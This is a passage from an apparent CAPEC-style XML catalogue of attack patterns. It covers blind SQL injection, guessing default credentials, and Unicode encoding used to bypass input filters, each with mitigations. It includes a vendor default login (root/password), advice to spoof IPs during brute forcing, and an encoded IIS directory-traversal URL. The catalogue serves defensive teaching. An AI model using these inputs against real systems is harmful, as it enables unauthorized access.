							retrieve username and password hashes from the database using Blind SQL
							Injection. If the attacker is aware of the local path structure, the
							attacker can also remotely execute arbitrary code and write the output
							of the injected queries to the local path. Blind SQL Injection is
							possible since the application does not properly sanitize the
							$_POST['username'] variable in the login.php file.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2006-4705</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Determining the database type and version, as well as the right number
							and type of parameters to the query being injected in the absence of
							error messages requires greater skill than reverse-engineering database
							error messages.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>None</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>In order to determine the right syntax for the query to inject, the
							attacker tries to determine the right number of parameters to the query
							and their types. This is achieved by formulating conditions that result
							in a true/false answer from the database. If the logical condition is
							true, the database will execute the rest of the query. If not, a custom
							error page or a default page is returned. Another approach is to ask
							such true/false questions of the database and note the response times to
							a query with a logically true condition and one with a false
							condition.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>The only indicators of successful Blind SQL Injection are the
							application or database logs that show similar queries with slightly
							differing logical conditions that increase in complexity over time.
							However, this requires extensive logging as well as knowledge of the
							queries that can be used to perform such injection and return meaningful
							information from the database.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Security by Obscurity is not a solution to preventing SQL Injection.
						Rather than suppress error messages and exceptions, the application must
						handle them gracefully, returning either a custom error page or redirecting
						the user to a default page, without revealing any information about the
						database or the application internals.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Strong input validation - All user-controllable input must be validated
						and filtered for illegal characters as well as SQL content. Keywords such as
						UNION, SELECT or INSERT must be filtered in addition to characters such as a
						single-quote(') or SQL-comments (--) based on the context in which they
						appear.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>User-controllable input to the application</Text>
			</Injection_Vector>
			<Payload>
				<Text>SQL statements intended to bypass checks or retrieve information about the
					database</Text>
			</Payload>
			<Activation_Zone>
				<Text>Back-end database</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The injected SQL statements are such that they result in a true/false
						query to the database. If the database evaluates a statement to be logically
						true, it responds with the requested data. If the condition is evaluated to
						be logically false, an error is returned. The attacker modifies the boolean
						condition each time to gain information from the database.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>89<!--Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>209<!--Information Exposure Through an Error Message--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>390<!--Detection of Error Condition Without Action--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>707<!--Improper Enforcement of Message or Data Structure--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanPrecede</Relationship_Nature>
					<Relationship_Target_ID>66<!--SQL Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>66<!--SQL Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Custom error pages must be used to handle exceptions such that they do not
						reveal any information about the architecture of the application or the
						database.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Special characters in user-controllable input must be escaped before use
						by the application.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Employ application-level safeguards to filter data and handle exceptions
						gracefully.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Failing Securely</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Never Use Input as Part of a Directive to any Internal Component</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Handle All Errors Safely</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>CWE - Input Validation</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Improper Error Handling</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Chiradeep B Chhaya</Submitter>
						<Submission_Date>2007-02-22</Submission_Date>
						<Submission_Comment>Third Draft - Revised to schema
							v1.4</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Malik Hamro</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-27</Modification_Date>
						<Modification_Comment>Reformat to new schema and
							review</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Description,
							Attack Prerequisites and Related Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Amit Sethi</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-29</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="70" Name="Try Common(default) Usernames and Passwords"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker may try certain common (default) usernames and passwords to
						gain access into the system and perform unauthorized actions. An attacker
						may try an intelligent brute force using known vendor default credentials as
						well as a dictionary of common usernames and passwords.</Text>
					<Text>Many vendor products come preconfigured with default (and thus well known)
						usernames and passwords that should be deleted prior to usage in a
						production environment. It is a common mistake to forget to remove these
						default login credentials. Another problem is that users would pick very
						simple (common) passwords (e.g. "secret" or "password") that make it easier
						for the attacker to gain access to the system compared to using a brute
						force attack or even a dictionary attack using a full dictionary.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The system uses one factor password based authentication.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>User Bob sets his password to "123". If the system does not have
							password strength enforcement against a sound password policy, this
							password may be admitted. A simple numeric sequence like this is one of
							the most common passwords and is easily guessable by an attacker.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Cisco 2700 Series Wireless Location Appliances (version 2.1.34.0 and
							earlier) have a default administrator username "root" with a password
							"password". This allows remote attackers to easily obtain administrative
							privileges.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2006-5288</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker just needs to gain access to common default
							usernames/passwords specific to the technologies used by the system.
							Additionally, a brute force attack leveraging common passwords can be
							easily realized if the user name is known.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Technology or vendor specific list of default usernames and passwords.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Try to determine what products are used in the implementation of the
							system. Determine if there are any default accounts associated with
							those products.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Many incorrect login attempts are detected by the system.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>Try to spoof IP addresses so that it does not look like the incorrect
							log in attempts are coming from the same computer.</Text>
					</Description>
				</Obfuscation_Technique>
			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Delete all default account credentials that may be put in by the product
						vendor.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implement a password throttling mechanism. This mechanism should take into
						account both the IP address and the log in name of the user.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Put together a strong password policy and make sure that all user created
						passwords comply with it. Alternatively automatically generate strong
						passwords for users.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Passwords need to be recycled to prevent aging, that is every once in a
						while a new password must be chosen.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>521<!--Weak Password Requirements--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>262<!--Not Using Password Aging--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>263<!--Password Aging with Long Expiration--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>798<!--Use of Hard-coded Credentials--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>49<!--Password Brute Forcing--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Failing Securely</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Eugene Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-26</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-01</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="71" Name="Using Unicode Encoding to Bypass Validation Logic"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker may provide a unicode string to a system component that is not
						unicode aware and use that to circumvent the filter or cause the classifying
						mechanism to fail to properly understanding the request. That may allow the
						attacker to slip malicious data past the content filter and/or possibly
						cause the application to route the request incorrectly.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey the application for
											user-controllable inputs</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												follows all public links and actions on a web site.
												He records all the links, the forms, the resources
												accessed and all other potential entry-points for
												the web application.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												all links and analyze the web pages to find entry
												points. Make special note of any links that
												include parameters in the URL.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all user input
												entry points visited during a manual traversal of
												the web application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how it is constructed. Many
												browsers' plugins are available to facilitate the
												analysis or automate the discovery.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Inputs are used by the application or the
												browser (DOM)</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Using URL rewriting, parameters may be part
												of the URL path.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>No parameters appear to be used on the
												current page. Even though none appear, the web
												application may still use them if they are
												provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>Applications that have only static pages or
												that simply present information without accepting
												input are unlikely to be susceptible.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of URLs, with their
												corresponding parameters (POST, GET, COOKIE, etc.)
												is created by the attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>A list of application user
												interface entry fields is created by the
												attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>A list of resources accessed by
												the application is created by the
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use CAPTCHA to prevent
												the use of the application by an automated
												tool.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probe entry points to locate
											vulnerabilities</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker uses the entry points gathered in the
												"Explore" phase as a target list and injects various
												Unicode encoded payloads to determine if an entry
												point actually represents a vulnerability with
												insufficient validation logic and to characterize
												the extent to which the vulnerability can be
												exploited.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Try to use Unicode encoding of content in
												Scripts in order to bypass validation
												routines.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Try to use Unicode encoding of content in
												HTML in order to bypass validation
												routines.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Try to use Unicode encoding of content in
												CSS in order to bypass validation routines.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The application accepts user-controllable
												input.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker's Unicode encoded
												payload is processed and acted on by the
												application without filtering or
												transcoding</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>The application decodes the
												charset and filters the
												inputs.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Implement input
												validation routines that filter or transcode for
												Unicode content.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Specify the charset of
												the HTTP
												transaction/content.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Detective">
												<Security_Control_Description>Monitor inputs to web
												servers. Alert on unusual charset and/or
												characters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be attack
												attempts.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Filtering is performed on data that has not be properly
						canonicalized.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>Attack Example: Unicode Encodings in the IIS Server</Text_Title>
						<Text>A very common technique for a unicode attack involves traversing
							directories looking for interesting files. An example of this idea
							applied to the Web is</Text>
						<Block>
							<Code>http://target.server/some_directory/../../../winnt</Code>
						</Block>
						<Text>In this case, the attacker is attempting to traverse to a directory
							that is not supposed to be part of standard Web services. The trick is
							fairly obvious, so many Web servers and scripts prevent it. However,
							using alternate encoding tricks, an attacker may be able to get around
							badly implemented request filters.</Text>
						<Text>In October 2000, a hacker publicly revealed that Microsoft's IIS
							server suffered from a variation of this problem. In the case of IIS,
							all the attacker had to do was provide alternate encodings for the dots
							and/or slashes found in a classic attack. The unicode translations
							are</Text>
						<Block>
							<Code>. yields C0 AE</Code>
							<Code>/ yields C0 AF</Code>
							<Code>\ yields C1 9C</Code>
						</Block>
						<Text>Using this conversion, the previously displayed URL can be encoded
							as</Text>
						<Block>
							<Code>http://target.server/some_directory/%C0AE/%C0AE/%C0AE%C0AE/%C0AE%C0AE/winnt</Code>
						</Block>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2000-0884</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker needs to understand unicode encodings and have an idea (or
							be able to find out) what system components may not be unicode
							aware.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Unicode encoded data is passed to APIs where it is not expected</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Ensure that the system is Unicode aware and can properly process Unicode
						data. Do not make an assumption that data will be in ASCII.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Ensure that filtering or input validation is applied to canonical
						data.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Assume all input is malicious. Create a white list that defines all valid
						input to the software system based on the requirements specifications. Input
						that does not match against the white list should not be permitted to enter
						into the system.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>176<!--Improper Handling of Unicode Encoding--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>171<!--Cleansing, Canonicalization, and Comparison Errors--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>179<!--Incorrect Behavior Order: Early Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>180<!--Incorrect Behavior Order: Validate Before Canonicalize--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>173<!--Improper Handling of Alternate Encoding--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>172<!--Encoding Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>184<!--Incomplete Blacklist--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>183<!--Permissive Whitelist--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
